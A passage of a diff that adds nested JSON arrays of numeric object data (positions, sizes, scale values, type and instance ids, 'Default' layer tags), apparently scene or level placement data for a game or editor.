+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6066,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491,
+ 894,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6067,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 398.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6068,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6069,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214.617919921875,
+ 893.8525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6070,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6071,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6072,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.6064453125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6073,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1162,
+ 744,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6074,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193,
+ 744,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6075,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1224,
+ 744,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6076,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.743774414063,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6077,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.536743164063,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6078,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.680053710938,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6079,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.473022460938,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6080,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.6103515625,
+ 799,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6081,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.4033203125,
+ 894.7728271484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6082,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6083,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6084,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1500.947265625,
+ 744.13330078125,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6085,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6086,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1193.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6087,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1101.6064453125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6088,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1377.536743164063,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6089,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1469.473022460938,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6090,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561.4033203125,
+ 990.1760864257812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6091,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 362,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6096,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 457,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6097,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 553,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6098,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6099,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 224.0540008544922,
+ 799.6751098632812,
+ 0,
+ 441.6896057128906,
+ 277.7109375,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6100,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 499.7438354492188,
+ 831.5453491210938,
+ 0,
+ 442,
+ 150,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6101,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2701.818115234375,
+ 507.0309448242188,
+ 0,
+ 182,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6104,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 478.4953308105469,
+ 723.281494140625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6105,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1192,
+ 575,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6107,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1339,
+ 675,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6108,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 583.24755859375,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6114,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 491.2475280761719,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6115,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 399.2475280761719,
+ 989.0631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6116,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 306.602783203125,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6117,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 214.6027526855469,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6118,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122.6027526855469,
+ 989.410400390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6119,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 675.0010375976562,
+ 989.2953491210938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6120,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 122.2538146972656,
+ 893.6946411132812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6121,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 30.00251007080078,
+ 989.642578125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6122,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 29.65357208251953,
+ 893.9268188476562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6123,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.149169921875,
+ 362.0175170898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6124,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2930.9375,
+ 362.0175170898438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6125,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2916,
+ 307,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6126,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2947,
+ 307,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6127,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2843,
+ 405,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6128,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 457,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 6129,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 553,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6130,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2747.51806640625,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6131,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2839.650634765625,
+ 552.757568359375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6132,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2931.4130859375,
+ 552.7579956054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6133,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2839.028564453125,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6134,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2931.546630859375,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6135,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3022.357177734375,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6136,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.290771484375,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6137,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.79052734375,
+ 743.5631713867188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 477,
+ 6138,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.931640625,
+ 552.7579956054688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6139,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3022.547119140625,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6140,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3115.065185546875,
+ 648,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6141,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3008.56591796875,
+ 584.9849853515625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6142,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3039.56591796875,
+ 584.9849853515625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6143,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3205.986328125,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6144,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3297.919921875,
+ 362.0440063476563,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6145,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.491943359375,
+ 552.7693481445312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 6146,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.62548828125,
+ 648.0113525390625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 6147,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3299.85546875,
+ 458.3495483398438,
+ 0,
+ 95.91248321533203,
+ 98.14300537109375,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 6148,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3114.727783203125,
+ 839.0726928710938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 6149,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3207.01123046875,
+ 838.983154296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 6150,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3298.92626953125,
+ 839.0726928710938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 6151,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3391.209716796875,
+ 838.983154296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 478,
+ 6152,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3623.061767578125,
+ 701.0221557617188,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6153,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3112,
+ 442,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6156,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3303.30029296875,
+ 745.3665771484375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 6157,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3727,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6158,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3818,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6159,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3910,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6160,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4002,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6161,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4094,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6162,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4186,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6163,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4277,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 6164,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4369,
+ 701,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
